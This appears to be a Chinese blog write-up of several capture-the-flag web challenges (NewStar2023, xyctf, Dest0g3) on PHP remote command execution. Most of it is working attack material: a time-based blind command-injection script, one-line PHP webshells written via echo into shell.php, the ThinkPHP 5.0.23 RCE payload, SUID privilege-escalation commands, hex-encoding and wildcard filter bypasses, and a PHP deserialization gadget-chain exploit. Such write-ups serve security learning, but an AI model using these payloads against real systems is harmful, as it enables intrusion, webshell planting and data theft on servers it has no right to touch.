        for k in str_list:
            get_flagname_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,i,k)
            get_flagname_payload=base_payload.format((len(get_flagname_cmd)),get_flagname_cmd)
            data['payload']=get_flagname_payload
            if condition(url,data):
               flag_name+=k
               print(flag_name)
    print(f"发现了flag: {flag_name}")
    #获取内容
    for i in range(1,70):
        for k in str_list:
            get_flag_cmd='if [ `cat {}{} | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,flag_name,i,(k))
            # print(get_flag_cmd)
            get_flag_payload=base_payload.format(len(get_flag_cmd),get_flag_cmd)
            data['payload']=get_flag_payload
            if condition(url,data):
                flag+=k
                print(flag)
               
try_flag()
# print(str_list)

省略了获取flag文件内容字符的过程,直接1到70,只要前面的能爆出来就ok,不影响

访问太多,容易报错,而且不知道为啥 {}没有盲出来

NewStar2023 So Baby RCE Again

源码:

php 复制代码
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

无回显,尝试 ls / | tee /var/www/html/a,写入,访问a发现有结果

尝试 cat /ffll444aaggg | tee /var/www/html/b,但是访问b,没有结果,估计权限有问题,写个一句话拿shell看看

?cmd=echo "<%3fphp echo 'hello';@eval(\$_POST[cmd]);%3f>" > shell.php

写入成功,蚁剑连接,看看flag文件的权限

果然是权限不够,尝试suid提权,看看什么命令有suid root权限

date就有,直接date -f读取即可

NewStar2023 Final

一打开是thinkphp的首页,输入s=1,报错看版本信息

是5.0.23,使用对应的poc

get:/?s=captcha
post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

但是没有回显命令的结果,估计是system被ban了,看一下phpinfo

post:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=15

phpinfo()函数其实是可以传一个整数参数进去的,随便传个

果然被ban了,用exec写个一句话

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php echo "hello";@eval($_POST[cmd]);?>' > shell.php 

蚁剑链接,发现没有权限去读flag

尝试suid提权

shell 复制代码
find / -user root -perm -4000 -print 2>/dev/null

cp有suid权限,直接cp /flag_dd3f6380aa0d /dev/stdout

在上网找资料的同时,还发现了thinkphp rce漏洞的自动化利用工具,https://github.com/Lotus6/ThinkphpGUI

是java工具,进入release下载jar包就可运行

不过写一句话getshell这里失败,估计也是用system实现的

xyctf:ez?make

过滤了f,l,a,g,?*;用16进制绕过

echo "636174206d616b6566696c652e706870" | xxd -r -p|sh
把十六进制数据用xxd转为二进制,再用shell执行

源码:

php 复制代码
<?php
function waf($cmd) {
	if (preg_match('/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/',$cmd)){
        return false;
    }
    return $cmd;
}

$cmd = waf($_GET['cmd']);

if ($cmd === false) {
    echo json_encode(array('makefileContent' => 'failed', 'output' => 'no'));
} else {
    $makefileContent = <<<EOD
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
\t$cmd
EOD;

    if (file_put_contents('Makefile', $makefileContent) !== false) {
        $command = "make -f Makefile 2>&1";
        $output = shell_exec($command);
        echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
    } else {
        echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
    }
}
?>

xyctf:ezmakefile

用makefile执行系统命令的语法,如: ${shell,ls}

源码:

php 复制代码
<?php
// 定义一个函数用于简单的命令注入防御
function waf($cmd) {
    // 使用正则表达式检查命令中是否包含一些特殊字符
    if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {
        // 如果命令中包含了特殊字符,则返回 false,表示命令不安全
        return false;
    }
    // 如果命令安全,则直接返回命令
    return $cmd;
}

// 从 GET 请求中获取命令参数,并通过 waf() 函数进行检查
$cmd = waf($_GET['cmd']);

// 如果命令不安全,则返回错误信息
if ($cmd === false) {
    echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {
    // 如果命令安全,则构造 Makefile 内容
    $makefileContent = <<<EOD
# Makefile 内容:
# 设置 shell 解释器为 /bin/bash
SHELL := /bin/bash

# 如果环境变量 PATH 未定义,则重新定义为空字符串
ifndef PATH
override PATH :=
else
override PATH :=
endif

# 声明伪目标 FLAG,用于确保 Makefile 中的命令总是被执行
.PHONY: FLAG

# 定义 FLAG 目标,依赖于 ./flag 文件和用户输入的命令
FLAG: ./flag \t$cmd
EOD;

    // 将生成的 Makefile 内容写入 Makefile 文件中
    if (file_put_contents('Makefile', $makefileContent) !== false) {
        // 构造执行命令
        $command = "make -f Makefile 2>&1";
        // 使用 shell_exec() 函数执行命令,并捕获执行结果
        $output = shell_exec($command);
        // 返回生成的 Makefile 内容和执行结果
        echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
    } else {
        // 如果写入文件失败,则返回错误信息
        echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
    }
}
?>

xyctf 牢大

题目源码:

php 复制代码
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }
    }
    return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

对cmd参数进行了过滤,用eval,但过滤了system,明显是无回显rce,而且长度有限制,只能用反引号执行命令

而且对长度有限制,只ban了fla,没有g、$,很明显可以用get参数逃逸对长度的限制

前面加了#,我们使用%0a,即换行绕过,因为#是单行注释,后面的manbaout可以用%23,即#注释掉,所以现在传的参数大概如下

?cmd=%0a`$_GET[b]`;%23&b=

看第二个过滤,其实已经提示了可以用cp或mv把flag带过来,但是路径表示不出来,后面看wp才发现,路径原来也能用通配符匹配

%0a`$_GET[b]`;%23&b=c''p /[e-g][k-m][0-b][e-h] /v[0-b]r/www/htm[j-m]

访问/flag即可得到flag

xyctf ezpop

源码

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}

if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

pop链很简单,异常也可以fast-destruct绕过,问题在于call_user_func如何让他套娃调用执行命令

php 复制代码
call_user_func($a,$b)($c)($d);

已知$b是POST数组,所以$a要是操作数组的方法

想要出现system('ls')的情况,$d设为ls即可,但是system怎么来呢?如果直接通过$a方法从$_POST中取出system,也是不行的,因为还有个$c

可以使用hex2bin方法,想办法在POST数组取出hex2bin,然后$c设为system的十六进制编码,执行完call_user_func($a,$b)($c)结果即为system,就能执行$d的命令了

所以exp:

php 复制代码
<?php
error_reporting(0);
class AAA
{
    public $s;
    public $a;
}
class BBB
{
    public $c;
    public $d;
}
class CCC
{
    public $c;
}
$obj=new CCC();
$obj->c=new AAA();
$obj->c->s=new BBB();
$obj->c->s->c='73797374656d';
$obj->c->s->d='cat /flag';
echo (serialize($obj));
# 去掉结尾的一个},破坏序列化结构,
#O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}
?>

post传

a=current&b=hex2bin

post中a赋值给$a后,就会被删除,所以直接current就能取到第一个元素b的值hex2bin

Dest0g3 520迎新赛SimpleRCE

php 复制代码
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

过滤了很多,尝试编码,拼接,\ .都被ban了

尝试hex2bin可以执行命令

php 复制代码
hex2bin('73797374656d')(hex2bin('6c73202f')); #system('ls /');

后面直接读取flag即可

相关推荐
冰水°22 分钟前
3.1_文件上传漏洞
安全·网络安全·文件上传·条件竞争·.htaccess·文件上传绕过
无敌最俊朗@1 小时前
stm32学习之路——八种GPIO口工作模式
c语言·stm32·单片机·学习
EterNity_TiMe_1 小时前
【论文复现】STM32设计的物联网智能鱼缸
stm32·单片机·嵌入式硬件·物联网·学习·性能优化
Wh1teR0se2 小时前
[ACTF2020 新生赛]Upload 1--详细解析
web安全·网络安全
L_cl2 小时前
Python学习从0到1 day28 Python 高阶技巧 ⑤ 多线程
学习
前端SkyRain2 小时前
后端Node学习项目-用户管理-增删改查
后端·学习·node.js
提笔惊蚂蚁2 小时前
结构化(经典)软件开发方法: 需求分析阶段+设计阶段
后端·学习·需求分析
DDDiccc2 小时前
JAVA学习日记(十五) 数据结构
数据结构·学习
腾科张老师4 小时前
为什么要使用Ansible实现Linux管理自动化?
linux·网络·学习·自动化·ansible